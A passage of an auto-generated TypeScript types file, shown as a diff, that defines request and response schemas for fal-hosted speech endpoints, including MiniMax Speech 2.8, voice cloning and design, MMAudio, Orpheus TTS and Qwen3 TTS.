AudioSetting062A6EddSampleRateEnumKey +} + +export const inputFalAiMinimaxSpeech28HdLanguageBoost = { + Chinese: 'Chinese', + 'Chinese,Yue': 'Chinese,Yue', + English: 'English', + Arabic: 'Arabic', + Russian: 'Russian', + Spanish: 'Spanish', + French: 'French', + Portuguese: 'Portuguese', + German: 'German', + Turkish: 'Turkish', + Dutch: 'Dutch', + Ukrainian: 'Ukrainian', + Vietnamese: 'Vietnamese', + Indonesian: 'Indonesian', + Japanese: 'Japanese', + Italian: 'Italian', + Korean: 'Korean', + Thai: 'Thai', + Polish: 'Polish', + Romanian: 'Romanian', + Greek: 'Greek', + Czech: 'Czech', + Finnish: 'Finnish', + Hindi: 'Hindi', + Bulgarian: 'Bulgarian', + Danish: 'Danish', + Hebrew: 'Hebrew', + Malay: 'Malay', + Slovak: 'Slovak', + Swedish: 'Swedish', + Croatian: 'Croatian', + Hungarian: 'Hungarian', + Norwegian: 'Norwegian', + Slovenian: 'Slovenian', + Catalan: 'Catalan', + Nynorsk: 'Nynorsk', + Afrikaans: 'Afrikaans', + auto: 'auto', +} as const + +export type InputFalAiMinimaxSpeech28HdLanguageBoostKey = + (typeof inputFalAiMinimaxSpeech28HdLanguageBoost)[keyof typeof inputFalAiMinimaxSpeech28HdLanguageBoost] + +export const inputFalAiMinimaxSpeech28HdOutputFormatEnum = { + url: 'url', + hex: 'hex', +} as const + +export type InputFalAiMinimaxSpeech28HdOutputFormatEnumKey = + (typeof inputFalAiMinimaxSpeech28HdOutputFormatEnum)[keyof typeof inputFalAiMinimaxSpeech28HdOutputFormatEnum] + +/** + * @description Request model for Speech 2.8 HD - highest quality speech synthesis. + * @type object + */ +export type InputFalAiMinimaxSpeech28Hd = { + /** + * @description Voice configuration settings + * @default {"pitch":0,"vol":1,"english_normalization":false,"speed":1,"voice_id":"Wise_Woman"} + * @type object | undefined + */ + voice_setting?: VoiceSetting + /** + * @description Text to convert to speech. Use `<#x#>` for pauses (x = 0.01-99.99 seconds). Supports interjection tags: `(laughs)`, `(sighs)`, `(coughs)`, `(clears throat)`, `(gasps)`, `(sniffs)`, `(groans)`, `(yawns)`. + * @minLength 1 + * @maxLength 10000 + * @example Hello world! Welcome to MiniMax's new text to speech model <#0.1#> Speech 2.8 HD (laughs) now available on Fal! + * @type string + */ + prompt: string + /** + * @description Enhance recognition of specified languages and dialects + */ + language_boost?: InputFalAiMinimaxSpeech28HdLanguageBoostKey | null + /** + * @description Voice modification settings to adjust pitch, intensity, and timbre. + */ + voice_modify?: VoiceModify | null + /** + * @description Format of the output content (non-streaming only) + * @default 'hex' + * @type string | undefined + */ + output_format?: InputFalAiMinimaxSpeech28HdOutputFormatEnumKey + /** + * @description Loudness normalization settings for the audio + * @type object | undefined + */ + normalization_setting?: LoudnessNormalizationSetting + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Audio configuration settings + * @type object | undefined + */ + audio_setting?: AudioSetting062A6Edd + /** + * @description Custom pronunciation dictionary for text replacement + */ + pronunciation_dict?: PronunciationDict | null +} + +export type File7A0A610A = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +/** + * @description Output model for Speech 2.8 HD. + * @type object + */ +export type OutputFalAiMinimaxSpeech28Hd = { + /** + * @description The generated audio file + * @example {"url":"https://v3b.fal.media/files/b/0a8d0bda/pF8woD8Iafl8vL6BMk4k4_speech.mp3"} + * @type object + */ + audio: File7A0A610A + /** + * @description Duration of the audio in milliseconds + * @type integer + */ + duration_ms: number +} + +export const audioSetting102A2315BitrateEnum = { + '32000': 32000, + '64000': 64000, + '128000': 128000, + '256000': 256000, +} as const + +export type AudioSetting102A2315BitrateEnumKey = + (typeof audioSetting102A2315BitrateEnum)[keyof typeof audioSetting102A2315BitrateEnum] + +export const audioSetting102A2315FormatEnum = { + mp3: 'mp3', + pcm: 'pcm', + flac: 'flac', +} as const + +export type AudioSetting102A2315FormatEnumKey = + (typeof audioSetting102A2315FormatEnum)[keyof typeof audioSetting102A2315FormatEnum] + +export const audioSetting102A2315ChannelEnum = { + '1': 1, + '2': 2, +} as const + +export type AudioSetting102A2315ChannelEnumKey = + (typeof audioSetting102A2315ChannelEnum)[keyof typeof audioSetting102A2315ChannelEnum] + +export const audioSetting102A2315SampleRateEnum = { + '8000': 8000, + '16000': 16000, + '22050': 22050, + '24000': 24000, + '32000': 32000, + '44100': 44100, +} as const + +export type AudioSetting102A2315SampleRateEnumKey = + (typeof audioSetting102A2315SampleRateEnum)[keyof typeof audioSetting102A2315SampleRateEnum] + +export type AudioSetting102A2315 = { + /** + * @description Bitrate of generated audio + * @default 128000 + * @type number | undefined + */ + bitrate?: AudioSetting102A2315BitrateEnumKey + /** + * @description Audio format + * @default 'mp3' + * @type string | undefined + */ + format?: AudioSetting102A2315FormatEnumKey + /** + * @description Number of audio channels (1=mono, 2=stereo) + * @default 1 + * @type number | undefined + */ + channel?: AudioSetting102A2315ChannelEnumKey + /** + * @description Sample rate of generated audio + * @default 32000 + * @type number | undefined + */ + sample_rate?: AudioSetting102A2315SampleRateEnumKey +} + +export const inputFalAiMinimaxSpeech28TurboLanguageBoost = { + Chinese: 'Chinese', + 'Chinese,Yue': 'Chinese,Yue', + English: 'English', + Arabic: 'Arabic', + Russian: 'Russian', + Spanish: 'Spanish', + French: 'French', + Portuguese: 'Portuguese', + German: 'German', + Turkish: 'Turkish', + Dutch: 'Dutch', + Ukrainian: 'Ukrainian', + Vietnamese: 'Vietnamese', + Indonesian: 'Indonesian', + Japanese: 'Japanese', + Italian: 'Italian', + Korean: 'Korean', + Thai: 'Thai', + Polish: 'Polish', + Romanian: 'Romanian', + Greek: 'Greek', + Czech: 'Czech', + Finnish: 'Finnish', + Hindi: 'Hindi', + Bulgarian: 'Bulgarian', + Danish: 'Danish', + Hebrew: 'Hebrew', + Malay: 'Malay', + Slovak: 'Slovak', + Swedish: 'Swedish', + Croatian: 'Croatian', + Hungarian: 'Hungarian', + Norwegian: 'Norwegian', + Slovenian: 'Slovenian', + Catalan: 'Catalan', + Nynorsk: 'Nynorsk', + Afrikaans: 'Afrikaans', + auto: 'auto', +} as const + +export type InputFalAiMinimaxSpeech28TurboLanguageBoostKey = + (typeof inputFalAiMinimaxSpeech28TurboLanguageBoost)[keyof typeof inputFalAiMinimaxSpeech28TurboLanguageBoost] + +export const inputFalAiMinimaxSpeech28TurboOutputFormatEnum = { + url: 'url', + hex: 'hex', +} as const + +export type InputFalAiMinimaxSpeech28TurboOutputFormatEnumKey = + (typeof inputFalAiMinimaxSpeech28TurboOutputFormatEnum)[keyof typeof inputFalAiMinimaxSpeech28TurboOutputFormatEnum] + +/** + * @description Request model for Speech 2.8 Turbo - faster speech synthesis with good quality. + * @type object + */ +export type InputFalAiMinimaxSpeech28Turbo = { + /** + * @description Voice configuration settings + * @default {"pitch":0,"vol":1,"english_normalization":false,"speed":1,"voice_id":"Wise_Woman"} + * @type object | undefined + */ + voice_setting?: VoiceSetting + /** + * @description Text to convert to speech. Use `<#x#>` for pauses (x = 0.01-99.99 seconds). Supports interjection tags: `(laughs)`, `(sighs)`, `(coughs)`, `(clears throat)`, `(gasps)`, `(sniffs)`, `(groans)`, `(yawns)`. + * @minLength 1 + * @maxLength 10000 + * @example Hello world! Welcome to MiniMax's new text to speech model <#0.1#> Speech 2.8 Turbo (sighs) now available on Fal! + * @type string + */ + prompt: string + /** + * @description Enhance recognition of specified languages and dialects + */ + language_boost?: InputFalAiMinimaxSpeech28TurboLanguageBoostKey | null + /** + * @description Voice modification settings to adjust pitch, intensity, and timbre. + */ + voice_modify?: VoiceModify | null + /** + * @description Format of the output content (non-streaming only) + * @default 'hex' + * @type string | undefined + */ + output_format?: InputFalAiMinimaxSpeech28TurboOutputFormatEnumKey + /** + * @description Loudness normalization settings for the audio + * @type object | undefined + */ + normalization_setting?: LoudnessNormalizationSetting + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Audio configuration settings + * @type object | undefined + */ + audio_setting?: AudioSetting102A2315 + /** + * @description Custom pronunciation dictionary for text replacement + */ + pronunciation_dict?: PronunciationDict | null +} + +export type File0162F0E8 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +/** + * @description Output model for Speech 2.8 Turbo. + * @type object + */ +export type OutputFalAiMinimaxSpeech28Turbo = { + /** + * @description The generated audio file + * @example {"url":"https://v3b.fal.media/files/b/0a8d0bf6/AE2KhEIGf4SkSMrWIDs45_speech.mp3"} + * @type object + */ + audio: File0162F0E8 + /** + * @description Duration of the audio in milliseconds + * @type integer + */ + duration_ms: number +} + +export const inputFalAiMinimaxVoiceCloneModelEnum = { + 'speech-02-hd': 'speech-02-hd', + 'speech-02-turbo': 'speech-02-turbo', + 'speech-01-hd': 'speech-01-hd', + 'speech-01-turbo': 'speech-01-turbo', +} as const + +export type InputFalAiMinimaxVoiceCloneModelEnumKey = + (typeof inputFalAiMinimaxVoiceCloneModelEnum)[keyof typeof inputFalAiMinimaxVoiceCloneModelEnum] + +export type InputFalAiMinimaxVoiceClone = { + /** + * @description + * URL of the input audio file for voice cloning. Should be at least 10 seconds + * long. To retain the voice permanently, use it with a TTS (text-to-speech) + * endpoint at least once within 7 days. Otherwise, it will be + * automatically deleted. + * + * @example https://storage.googleapis.com/falserverless/model_tests/zonos/demo_voice_zonos.wav + * @type string + */ + audio_url: string + /** + * @description TTS model to use for preview. Options: speech-02-hd, speech-02-turbo, speech-01-hd, speech-01-turbo + * @default 'speech-02-hd' + * @example speech-02-hd + * @example speech-02-turbo + * @example speech-01-hd + * @example speech-01-turbo + * @type string | undefined + */ + model?: InputFalAiMinimaxVoiceCloneModelEnumKey + /** + * @description Text to generate a TTS preview with the cloned voice (optional) + * @default Hello, this is a preview of your cloned voice! I hope you like it! + * @example Hello, this is a preview of your cloned voice! I hope you like it! + */ + text?: string | null + /** + * @description Text validation accuracy threshold (0-1) + */ + accuracy?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Enable noise reduction for the cloned voice + * @default false + * @type boolean | undefined + */ + noise_reduction?: boolean + /** + * @description Enable volume normalization for the cloned voice + * @default false + * @type boolean | undefined + */ + need_volume_normalization?: boolean +} + +export type FileE3324Bca = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxVoiceClone = { + /** + * @description The cloned voice ID for use with TTS + * @type string + */ + custom_voice_id: string + /** + * @description Preview audio generated with the cloned voice (if requested) + * @example {"url":"https://fal.media/files/kangaroo/kojPUCNZ9iUGFGMR-xb7h_speech.mp3"} + */ + audio?: FileE3324Bca | null +} + +export type InputFalAiMinimaxVoiceDesign = { + /** + * @description Text for audio preview. Must be at least 1 character and limited to 500 characters. A fee of $30 per 1M characters will be charged for the generation of the preview audio. + * @minLength 1 + * @maxLength 500 + * @example Oh my gosh, hi. It's like so amazing to be here. This new endpoint just dropped on fal and the results have been like totally incredible. Use it now, It's gonna be like epic! + * @type string + */ + preview_text: string + /** + * @description Voice description prompt for generating a personalized voice + * @maxLength 2000 + * @example Bubbly and excitable female pop star interviewee, youthful, slightly breathless, and very enthusiastic + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File799B29F9 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxVoiceDesign = { + /** + * @description The voice_id of the generated voice + * @type string + */ + custom_voice_id: string + /** + * @description The preview audio using the generated voice + * @example {"url":"https://v3.fal.media/files/kangaroo/gT22cxTqxgLtGMSDz2JSq_preview.mp3"} + * @type object + */ + audio: File799B29F9 +} + +export type InputFalAiMmaudioV2TextToAudio = { + /** + * @description The strength of Classifier Free Guidance. + * @minimum 0 + * @maximum 20 + * @default 4.5 + * @type number | undefined + */ + cfg_strength?: number + /** + * @description The negative prompt to generate the audio for. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The seed for the random number generator + */ + seed?: number | null + /** + * @description The number of steps to generate the audio for. + * @minimum 4 + * @maximum 50 + * @default 25 + * @type integer | undefined + */ + num_steps?: number + /** + * @description Whether to mask away the clip. + * @default false + * @type boolean | undefined + */ + mask_away_clip?: boolean + /** + * @description The duration of the audio to generate. + * @minimum 1 + * @maximum 30 + * @default 8 + * @type number | undefined + */ + duration?: number + /** + * @description The prompt to generate the audio for. + * @example Indian holy music + * @type string + */ + prompt: string +} + +export type File374B813E = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiMmaudioV2TextToAudio = { + /** + * @description The generated audio. + * @example {"content_type":"application/octet-stream","file_size":1001342,"file_name":"mmaudio_input.flac","url":"https://storage.googleapis.com/falserverless/model_tests/video_models/mmaudio_output.flac"} + * @type object + */ + audio: File374B813E +} + +export const inputFalAiOrpheusTtsVoiceEnum = { + tara: 'tara', + leah: 'leah', + jess: 'jess', + leo: 'leo', + dan: 'dan', + mia: 'mia', + zac: 'zac', + zoe: 'zoe', +} as const + +export type InputFalAiOrpheusTtsVoiceEnumKey = + (typeof inputFalAiOrpheusTtsVoiceEnum)[keyof typeof inputFalAiOrpheusTtsVoiceEnum] + +export type InputFalAiOrpheusTts = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Voice ID for the desired voice. + * @default 'tara' + * @example tara + * @type string | undefined + */ + voice?: InputFalAiOrpheusTtsVoiceEnumKey + /** + * @description The text to be converted to speech. You can additionally add the following emotive tags: , , , , , , , + * @example I just found a hidden treasure in the backyard! Check it out! + * @type string + */ + text: string + /** + * @description Temperature for generation (higher = more creative). + * @minimum 0 + * @maximum 2 + * @default 0.7 + * @type number | undefined + */ + temperature?: number + /** + * @description Repetition penalty (>= 1.1 required for stable generations). + * @minimum 1.1 + * @maximum 2 + * @default 1.2 + * @type number | undefined + */ + repetition_penalty?: number +} + +export type File98Ce7686 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiOrpheusTts = { + /** + * @description The generated speech audio + * @example {"url":"https://v3.fal.media/files/kangaroo/RQ_pxc7oPdueYqWUqEbPE_tmpjnzvvzx_.wav"} + * @type object + */ + audio: File98Ce7686 +} + +export type InputFalAiQwen3TtsCloneVoice06B = { + /** + * @description Optional reference text that was used when creating the speaker embedding. Providing this can improve synthesis quality when using a cloned voice. + * @example Okay. Yeah. I resent you. I love you. I respect you. But you know what? You blew it! And it is all thanks to you. + */ + reference_text?: string | null + /** + * @description URL to the reference audio file used for voice cloning. Must be at most 300 seconds (5 minutes) long; a short clip of clean speech is sufficient. + * @example https://storage.googleapis.com/falserverless/example_inputs/qwen3-tts/clone_in.mp3 + * @type string + */ + audio_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File919F2813 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiQwen3TtsCloneVoice06B = { + /** + * @description The generated speaker embedding file in safetensors format. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/qwen3-tts/clone_out.safetensors","file_size":16288,"file_name":"tmpe71u7t4j.safetensors","content_type":"application/x-safetensors"} + * @type object + */ + speaker_embedding: File919F2813 +} + +export type InputFalAiQwen3TtsCloneVoice17B = { + /** + * @description Optional reference text that was used when creating the speaker embedding. Providing this can improve synthesis quality when using a cloned voice. + * @example Okay. Yeah. I resent you. I love you. I respect you. But you know what? You blew it! And it is all thanks to you. + */ + reference_text?: string | null + /** + * @description URL to the reference audio file used for voice cloning. Must be at most 300 seconds (5 minutes) long; a short clip of clean speech is sufficient. + * @example https://storage.googleapis.com/falserverless/example_inputs/qwen3-tts/clone_in.mp3 + * @type string + */ + audio_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File914A906F = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiQwen3TtsCloneVoice17B = { + /** + * @description The generated speaker embedding file in safetensors format. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/qwen3-tts/clone_out.safetensors","file_size":16288,"file_name":"tmpe71u7t4j.safetensors","content_type":"application/x-safetensors"} + * @type object + */ + speaker_embedding: File914A906F +} + +export const inputFalAiQwen3TtsTextToSpeech06BVoice = { + Vivian: 'Vivian', + Serena: 'Serena', + Uncle_Fu: 'Uncle_Fu', + Dylan: 'Dylan', + Eric: 'Eric', + Ryan: 'Ryan', + Aiden: 'Aiden', + Ono_Anna: 'Ono_Anna', + Sohee: 'Sohee', +} as const + +export type InputFalAiQwen3TtsTextToSpeech06BVoiceKey = + (typeof inputFalAiQwen3TtsTextToSpeech06BVoice)[keyof typeof inputFalAiQwen3TtsTextToSpeech06BVoice] + +export const inputFalAiQwen3TtsTextToSpeech06BLanguageEnum = { + Auto: 'Auto', + English: 'English', + Chinese: 'Chinese', + Spanish: 'Spanish', + French: 'French', + German: 'German', + Italian: 'Italian', + Japanese: 'Japanese', + Korean: 'Korean', + Portuguese: 'Portuguese', + Russian: 'Russian', +} as const + +export type InputFalAiQwen3TtsTextToSpeech06BLanguageEnumKey = + (typeof inputFalAiQwen3TtsTextToSpeech06BLanguageEnum)[keyof typeof inputFalAiQwen3TtsTextToSpeech06BLanguageEnum] + +export type InputFalAiQwen3TtsTextToSpeech06B = { + /** + * @description Sampling switch for the sub-talker. + * @default true + */ + subtalker_dosample?: boolean | null + /** + * @description Top-k sampling parameter. + * @default 50 + */ + top_k?: number | null + /** + * @description URL to a speaker embedding file in safetensors format, from `fal-ai/qwen-3-tts/clone-voice/0.6b` endpoint. If provided, the TTS model will use the cloned voice for synthesis instead of the predefined voices. + */ + speaker_voice_embedding_file_url?: string | null + /** + * @description Penalty to reduce repeated tokens/codes. + * @default 1.05 + */ + repetition_penalty?: number | null + /** + * @description Sampling temperature; higher => more random. + * @default 0.9 + */ + temperature?: number | null + /** + * @description The voice to be used for speech synthesis, will be ignored if a speaker embedding is provided. Check out the **[documentation](https://github.com/QwenLM/Qwen3-TTS/tree/main?tab=readme-ov-file#custom-voice-generate)** for each voice's details and which language they primarily support. + * @example Vivian + */ + voice?: InputFalAiQwen3TtsTextToSpeech06BVoiceKey | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Temperature for sub-talker sampling. + * @default 0.9 + */ + subtalker_temperature?: number | null + /** + * @description Maximum number of new codec tokens to generate. + * @default 200 + */ + max_new_tokens?: number | null + /** + * @description Optional prompt to guide the style of the generated speech. This prompt will be ignored if a speaker embedding is provided. + * @example Very happy. + */ + prompt?: string | null + /** + * @description Optional reference text that was used when creating the speaker embedding. Providing this can improve synthesis quality when using a cloned voice. + */ + reference_text?: string | null + /** + * @description The language of the voice. + * @default 'Auto' + * @example English + * @type string | undefined + */ + language?: InputFalAiQwen3TtsTextToSpeech06BLanguageEnumKey + /** + * @description Top-p for sub-talker sampling. + * @default 1 + */ + subtalker_top_p?: number | null + /** + * @description Top-p sampling parameter. + * @default 1 + */ + top_p?: number | null + /** + * @description The text to be converted to speech. + * @example I feel like I'm taking crazy pills! How can something be both a square and a circle at the same time? It defies all logic! + * @type string + */ + text: string + /** + * @description Top-k for sub-talker sampling. + * @default 50 + */ + subtalker_top_k?: number | null +} + +export type AudioFile982E4088 = { + /** + * @description The bitrate of the audio (e.g., '192k' or 192000) + */ + bitrate?: string | number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The number of channels in the audio + */ + channels?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the audio + */ + duration?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The sample rate of the audio + */ + sample_rate?: number | null +} + +export type OutputFalAiQwen3TtsTextToSpeech06B = { + /** + * @description The generated speech audio file. + * @example {"sample_rate":24000,"file_name":"n6Av3SeD5dFENf9-VmQ1v_is3jLh5h.mp3","url":"https://storage.googleapis.com/falserverless/example_outputs/example_outputs/qwen3-tts/tts_out_06b.mp3","channels":1,"content_type":"audio/mpeg","duration":9.816875} + * @type object + */ + audio: AudioFile982E4088 +} + +export const inputFalAiQwen3TtsTextToSpeech17BVoice = { + Vivian: 'Vivian', + Serena: 'Serena', + Uncle_Fu: 'Uncle_Fu', + Dylan: 'Dylan', + Eric: 'Eric', + Ryan: 'Ryan', + Aiden: 'Aiden', + Ono_Anna: 'Ono_Anna', + Sohee: 'Sohee', +} as const + +export type InputFalAiQwen3TtsTextToSpeech17BVoiceKey = + (typeof inputFalAiQwen3TtsTextToSpeech17BVoice)[keyof typeof inputFalAiQwen3TtsTextToSpeech17BVoice] + +export const inputFalAiQwen3TtsTextToSpeech17BLanguageEnum = { + Auto: 'Auto', + English: 'English', + Chinese: 'Chinese', + Spanish: 'Spanish', + French: 'French', + German: 'German', + Italian: 'Italian', + Japanese: 'Japanese', + Korean: 'Korean', + Portuguese: 'Portuguese', + Russian: 'Russian', +} as const + +export type InputFalAiQwen3TtsTextToSpeech17BLanguageEnumKey = + (typeof inputFalAiQwen3TtsTextToSpeech17BLanguageEnum)[keyof typeof inputFalAiQwen3TtsTextToSpeech17BLanguageEnum] + +export type InputFalAiQwen3TtsTextToSpeech17B = { + /** + * @description Sampling switch for the sub-talker. + * @default true + */ + subtalker_dosample?: boolean | null + /** + * @description Top-k sampling parameter. + * @default 50 + */ + top_k?: number | null + /** + * @description URL to a speaker embedding file in safetensors format, from `fal-ai/qwen-3-tts/clone-voice` endpoint. If provided, the TTS model will use the cloned voice for synthesis instead of the predefined voices. + * @example https://storage.googleapis.com/falserverless/example_outputs/qwen3-tts/clone_out.safetensors + */ + speaker_voice_embedding_file_url?: string | null + /** + * @description Penalty to reduce repeated tokens/codes. + * @default 1.05 + */ + repetition_penalty?: number | null + /** + * @description Sampling temperature; higher => more random. + * @default 0.9 + */ + temperature?: number | null + /** + * @description The voice to be used for speech synthesis, will be ignored if a speaker embedding is provided. Check out the **[documentation](https://github.com/QwenLM/Qwen3-TTS/tree/main?tab=readme-ov-file#custom-voice-generate)** for each voice's details and which language they primarily support. + * @example Vivian + */ + voice?: InputFalAiQwen3TtsTextToSpeech17BVoiceKey | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Temperature for sub-talker sampling. + * @default 0.9 + */ + subtalker_temperature?: number | null + /** + * @description Maximum number of new codec tokens to generate. + * @default 200 + */ + max_new_tokens?: number | null + /** + * @description Optional prompt to guide the style of the generated speech. This prompt will be ignored if a speaker embedding is provided. + * @example Very happy. + */ + prompt?: string | null + /** + * @description Optional reference text that was used when creating the speaker embedding. Providing this can improve synthesis quality when using a cloned voice. + * @example Okay. Yeah. I resent you. I love you. I respect you. But you know what? You blew it! And it is all thanks to you. + */ + reference_text?: string | null + /** + * @description The language of the voice. + * @default 'Auto' + * @example English + * @type string | undefined + */ + language?: InputFalAiQwen3TtsTextToSpeech17BLanguageEnumKey + /** + * @description Top-p for sub-talker sampling. + * @default 1 + */ + subtalker_top_p?: number | null + /** + * @description Top-p sampling parameter. + * @default 1 + */ + top_p?: number | null + /** + * @description The text to be converted to speech. + * @example I am solving the equation: x = [-b ± √(b²-4ac)] / 2a? Nobody can — it's a disaster (◍•͈⌔•͈◍), very sad! + * @type string + */ + text: string + /** + * @description Top-k for sub-talker sampling. + * @default 50 + */ + subtalker_top_k?: number | null +} + +export type AudioFileCb22D3Ac = { + /** + * @description The bitrate of the audio (e.g., '192k' or 192000) + */ + bitrate?: string | number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The number of channels in the audio + */ + channels?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the audio + */ + duration?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The sample rate of the audio + */ + sample_rate?: number | null +} + +export type OutputFalAiQwen3TtsTextToSpeech17B = { + /** + * @description The generated speech audio file. + * @example {"sample_rate":24000,"file_name":"n5Ynr2aFKUPw1QjLYjB_4_XEdHoD1K.mp3","url":"https://storage.googleapis.com/falserverless/example_outputs/qwen3-tts/tts_out.mp3","channels":1,"content_type":"audio/mpeg","duration":13.025333333333334} + * @type object + */ + audio: AudioFileCb22D3Ac +} + +export const inputFalAiQwen3TtsVoiceDesign17BLanguageEnum = { + Auto: 'Auto', + English: 'English', + Chinese: 'Chinese', + Spanish: 'Spanish', + French: 'French', + German: 'German', + Italian: 'Italian', + Japanese: 'Japanese', + Korean: 'Korean', + Portuguese: 'Portuguese', + Russian: 'Russian', +} as const + +export type InputFalAiQwen3TtsVoiceDesign17BLanguageEnumKey = + (typeof inputFalAiQwen3TtsVoiceDesign17BLanguageEnum)[keyof typeof inputFalAiQwen3TtsVoiceDesign17BLanguageEnum] + +export type InputFalAiQwen3TtsVoiceDesign17B = { + /** + * @description Maximum number of new codec tokens to generate. + * @default 200 + */ + max_new_tokens?: number | null + /** + * @description Optional prompt to guide the style of the generated speech. + * @example Speak in an incredulous tone, but with a hint of panic beginning to creep into your voice. + * @type string + */ + prompt: string + /** + * @description Sampling switch for the sub-talker. + * @default true + */ + subtalker_dosample?: boolean | null + /** + * @description Top-k sampling parameter. + * @default 50 + */ + top_k?: number | null + /** + * @description Top-p for sub-talker sampling. + * @default 1 + */ + subtalker_top_p?: number | null + /** + * @description Penalty to reduce repeated tokens/codes. + * @default 1.05 + */ + repetition_penalty?: number | null + /** + * @description The text to be converted to speech. + * @example It's in the top drawer... wait, it's empty? No way, that's impossible! I'm sure I put it there! + * @type string + */ + text: string + /** + * @description The language of the voice to be designed. + * @default 'Auto' + * @example English + * @type string | undefined + */ + language?: InputFalAiQwen3TtsVoiceDesign17BLanguageEnumKey + /** + * @description Sampling temperature; higher => more random. + * @default 0.9 + */ + temperature?: number | null + /** + * @description Temperature for sub-talker sampling. + * @default 0.9 + */ + subtalker_temperature?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Top-k for sub-talker sampling. + * @default 50 + */ + subtalker_top_k?: number | null + /** + * @description Top-p sampling parameter. + * @default 1 + */ + top_p?: number | null +} + +export type AudioFileF674C789 = { + /** + * @description The bitrate of the audio (e.g., '192k' or 192000) + */ + bitrate?: string | number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The number of channels in the audio + */ + channels?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the audio + */ + duration?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The sample rate of the audio + */ + sample_rate?: number | null +} + +export type OutputFalAiQwen3TtsVoiceDesign17B = { + /** + * @description The generated speech audio file. + * @example 